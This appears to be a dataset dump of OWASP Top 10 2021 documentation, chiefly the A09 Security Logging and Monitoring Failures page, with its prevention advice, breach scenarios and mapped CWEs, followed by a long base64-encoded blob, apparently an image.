- [OWASP Cheat Sheet: Infrastructure as Code](https://cheatsheetseries.owasp.org/cheatsheets/Infrastructure_as_Code_Security_Cheat_Sheet.html)
- [OWASP Cheat Sheet: Deserialization](
<https://www.owasp.org/index.php/Deserialization_Cheat_Sheet>)
- [SAFECode Software Integrity Controls](
https://safecode.org/publication/SAFECode_Software_Integrity_Controls0610.pdf)
- [A 'Worst Nightmare' Cyberattack: The Untold Story Of The
SolarWinds
Hack](<https://www.npr.org/2021/04/16/985439655/a-worst-nightmare-cyberattack-the-untold-story-of-the-solarwinds-hack>)
- [CodeCov Bash Uploader Compromise](https://about.codecov.io/security-update)
- [Securing DevOps by Julien Vehent](https://www.manning.com/books/securing-devops)
## List of Mapped CWEs
[CWE-345 Insufficient Verification of Data Authenticity](https://cwe.mitre.org/data/definitions/345.html)
[CWE-353 Missing Support for Integrity Check](https://cwe.mitre.org/data/definitions/353.html)
[CWE-426 Untrusted Search Path](https://cwe.mitre.org/data/definitions/426.html)
[CWE-494 Download of Code Without Integrity Check](https://cwe.mitre.org/data/definitions/494.html)
[CWE-502 Deserialization of Untrusted Data](https://cwe.mitre.org/data/definitions/502.html)
[CWE-565 Reliance on Cookies without Validation and Integrity Checking](https://cwe.mitre.org/data/definitions/565.html)
[CWE-784 Reliance on Cookies without Validation and Integrity Checking in a Security Decision](https://cwe.mitre.org/data/definitions/784.html)
[CWE-829 Inclusion of Functionality from Untrusted Control Sphere](https://cwe.mitre.org/data/definitions/829.html)
[CWE-830 Inclusion of Web Functionality from an Untrusted Source](https://cwe.mitre.org/data/definitions/830.html)
[CWE-915 Improperly Controlled Modification of Dynamically-Determined Object Attributes](https://cwe.mitre.org/data/definitions/915.html)
|
A09_2021-Security_Logging_and_Monitoring_Failures.md | ./Top10/2021/docs/A09_2021-Security_Logging_and_Monitoring_Failures.md | # A09:2021 – Security Logging and Monitoring Failures ![icon](assets/TOP_10_Icons_Final_Security_Logging_and_Monitoring_Failures.png){: style="height:80px;width:80px" align="right"}
## Factors
| CWEs Mapped | Max Incidence Rate | Avg Incidence Rate | Avg Weighted Exploit | Avg Weighted Impact | Max Coverage | Avg Coverage | Total Occurrences | Total CVEs |
|:-------------:|:--------------------:|:--------------------:|:--------------:|:--------------:|:----------------------:|:---------------------:|:-------------------:|:------------:|
| 4 | 19.23% | 6.51% | 6.87 | 4.99 | 53.67% | 39.97% | 53,615 | 242 |
## Overview
Security logging and monitoring came from the Top 10 community survey (#3), up
slightly from the tenth position in the OWASP Top 10 2017. Logging and
monitoring can be challenging to test, often involving interviews or
asking if attacks were detected during a penetration test. There isn't
much CVE/CVSS data for this category, but detecting and responding to
breaches is critical. Still, it can be very impactful for accountability, visibility,
incident alerting, and forensics. This category expands beyond *CWE-778
Insufficient Logging* to include *CWE-117 Improper Output Neutralization
for Logs*, *CWE-223 Omission of Security-relevant Information*, and
*CWE-532* *Insertion of Sensitive Information into Log File*.
## Description
Returning to the OWASP Top 10 2021, this category is to help detect,
escalate, and respond to active breaches. Without logging and
monitoring, breaches cannot be detected. Insufficient logging,
detection, monitoring, and active response occurs any time:
- Auditable events, such as logins, failed logins, and high-value
transactions, are not logged.
- Warnings and errors generate no, inadequate, or unclear log
messages.
- Logs of applications and APIs are not monitored for suspicious
activity.
- Logs are only stored locally.
- Appropriate alerting thresholds and response escalation processes
are not in place or effective.
- Penetration testing and scans by dynamic application security testing (DAST) tools (such as OWASP ZAP) do
not trigger alerts.
- The application cannot detect, escalate, or alert for active attacks
in real-time or near real-time.
You are vulnerable to information leakage by making logging and alerting
events visible to a user or an attacker (see [A01:2021-Broken Access Control](A01_2021-Broken_Access_Control.md)).
## How to Prevent
Developers should implement some or all the following controls,
depending on the risk of the application:
- Ensure all login, access control, and server-side input validation
failures can be logged with sufficient user context to identify
suspicious or malicious accounts and held for enough time to allow
delayed forensic analysis.
- Ensure that logs are generated in a format that log management
solutions can easily consume.
- Ensure log data is encoded correctly to prevent injections or
attacks on the logging or monitoring systems.
- Ensure high-value transactions have an audit trail with integrity
controls to prevent tampering or deletion, such as append-only
database tables or similar.
- DevSecOps teams should establish effective monitoring and alerting
such that suspicious activities are detected and responded to
quickly.
- Establish or adopt an incident response and recovery plan, such as
National Institute of Standards and Technology (NIST) 800-61r2 or later.
There are commercial and open-source application protection frameworks
such as the OWASP ModSecurity Core Rule Set, and open-source log
correlation software, such as the Elasticsearch, Logstash, Kibana (ELK)
stack, that feature custom dashboards and alerting.
## Example Attack Scenarios
**Scenario #1:** A children's health plan provider's website operator
couldn't detect a breach due to a lack of monitoring and logging. An
external party informed the health plan provider that an attacker had
accessed and modified thousands of sensitive health records of more than
3.5 million children. A post-incident review found that the website
developers had not addressed significant vulnerabilities. As there was
no logging or monitoring of the system, the data breach could have been
in progress since 2013, a period of more than seven years.
**Scenario #2:** A major Indian airline had a data breach involving more
than ten years' worth of personal data of millions of passengers,
including passport and credit card data. The data breach occurred at a
third-party cloud hosting provider, who notified the airline of the
breach after some time.
**Scenario #3:** A major European airline suffered a GDPR reportable
breach. The breach was reportedly caused by payment application security
vulnerabilities exploited by attackers, who harvested more than 400,000
customer payment records. The airline was fined 20 million pounds as a
result by the privacy regulator.
## References
- [OWASP Proactive Controls: Implement Logging and
Monitoring](https://owasp.org/www-project-proactive-controls/v3/en/c9-security-logging.html)
- [OWASP Application Security Verification Standard: V7 Logging and
Monitoring](https://owasp.org/www-project-application-security-verification-standard)
- [OWASP Testing Guide: Testing for Detailed Error
Code](https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/08-Testing_for_Error_Handling/01-Testing_for_Error_Code)
- [OWASP Cheat Sheet:
Application Logging Vocabulary](https://cheatsheetseries.owasp.org/cheatsheets/Application_Logging_Vocabulary_Cheat_Sheet.html)
- [OWASP Cheat Sheet:
Logging](https://cheatsheetseries.owasp.org/cheatsheets/Logging_Cheat_Sheet.html)
- [Data Integrity: Recovering from Ransomware and Other Destructive
Events](https://csrc.nist.gov/publications/detail/sp/1800-11/final)
- [Data Integrity: Identifying and Protecting Assets Against
Ransomware and Other Destructive
Events](https://csrc.nist.gov/publications/detail/sp/1800-25/final)
- [Data Integrity: Detecting and Responding to Ransomware and Other
Destructive
Events](https://csrc.nist.gov/publications/detail/sp/1800-26/final)
## List of Mapped CWEs
[CWE-117 Improper Output Neutralization for Logs](https://cwe.mitre.org/data/definitions/117.html)
[CWE-223 Omission of Security-relevant Information](https://cwe.mitre.org/data/definitions/223.html)
[CWE-532 Insertion of Sensitive Information into Log File](https://cwe.mitre.org/data/definitions/532.html)
[CWE-778 Insufficient Logging](https://cwe.mitre.org/data/definitions/778.html)
| 6,786 | 0.006474 | # A09:2021 – Security Logging and Monitoring Failures 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